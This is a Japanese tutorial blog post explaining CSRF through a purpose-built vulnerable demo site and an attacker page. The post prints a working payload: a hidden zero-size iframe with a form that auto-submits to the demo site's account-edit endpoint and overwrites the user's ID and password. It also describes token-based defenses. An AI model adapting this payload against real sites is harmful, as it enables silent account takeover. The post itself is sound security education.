57
38

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 5 years have passed since last update.

WEBエンジニアなら必ず知っておくべき「CSRF」のサンプルサイトを作ってみた

Last updated at Posted at 2016-12-14

概要

  • CSRFはWEBセキュリティにおいて重要な知識
  • なのに入門者はCSRFについての知識を疎かにしてることが多い
  • CSRFは、実際のサンプルサイトがないと分かりにくい
  • ということで実際にサンプルサイトを作ってみた

サンプルサイト

何ができるサイトか

サンプルサイトで会員登録後、攻撃用ページを開くと、勝手にサンプルサイトのID、PWが変更されます

  1. サンプルサイトのトップページから会員登録ページへ飛びます
    Screenshot_46.png

  2. ID: hoge PW: fuga で会員登録してみます
    Screenshot_43.png

  3. マイページに飛びました
    Screenshot_42.png

  4. ここで、攻撃者用ページ(https://sagami1991.github.io/csrf-sample/) を開いてみます。開くだけで何もせずにOKです

  1. その後サンプルサイトのマイページに戻ると、IDとPWがhogehogehackerというものに変わっています。全く関係ない他者のページを踏んだだけで会員情報が勝手に変更されてしまいました
    Screenshot_44.png

仕組み

CSRF攻撃の仕組みはわかりやすい記事がそこら中にあると思うので細かい話は省略します。

  1. サンプルサイトでログインする

  2. 一定時間、ログインは保持される

    • (cookieにsessionIDを持っていて、サンプルサイトのサーバーはsessionIDを元にsession情報を読み取り、ログイン情報等も判断する)
  3. 攻撃者用ページにアクセスする

  4. 攻撃者用ページからiframe内で会員情報変更処理ページに自動でPOST送信される

    • iframe内でPOST送信させれば、画面遷移しないのでユーザーにばれない
    • iframeを埋め込んでいる部分
    index.html
    <iframe src="hack-iframe.html" width="0" height="0"></iframe>
    
    • iframeに埋め込んであるページのソース
    index.html
    <!-- ユーザー情報変更ページへPOST送信するForm -->
    <form action="https://hack-csrf-sample.herokuapp.com/mypage/edit" method="POST">
    	<!-- サンプルサイトのhtmlソースを見ながらIDとパスワードのパラメータ名(name)を合わせ、
    	変更させたい適当な値をvalueに設定する -->
    	<input name="userId" value="hogehogehacker" />
    	<input name="password" value="hogehogehacker" />
    </form>
    <script>
    	// 自動でpost送信させるコード
    	var form = document.querySelector("form");
    	form.submit()
    </script>
    
  5. サンプルサイトの会員情報が勝手に変更される

    • ブラウザにサンプルサイトのcookie情報が残っていれば、サンプルサイトのサーバーサイドはログインしているものと判断するので、会員情報変更ページから変更リクエストが来たものと同じように判断してしまいます。

対策方法

これも、そこらの記事に書かれてあったり、フレームワークによって設定方法があると思うので細かいことは省略しますが、だいたい以下のような方法を採用しています。

  1. ログイン時にトークン(乱数)を生成し、sessionに格納する
  2. post送信時はform内にそのトークンを入れ、サーバー内でリクエストパラメータのトークンと、session内のトークンが同一かどうか判断する
  3. 同一ならばリクエストを受け付ける
    • SessionIDが漏れない限り、攻撃者はトークンが分からないので外部からPOST送信することができなくなる。

最後に

サンプルサイトはheroku、攻撃用ページはgithub pagesで作っています。
今どき、なんでもタダでできちゃうのがいいですね。
ちなみにサンプルサイトはtypescript+nodejsで書いています。
nodejsは環境構築が簡単で、重たいIDEなどもいらないので、ストレスフリーでこういうサンプルサイトがつくれちゃいます。

57
38
1

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
57
38

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?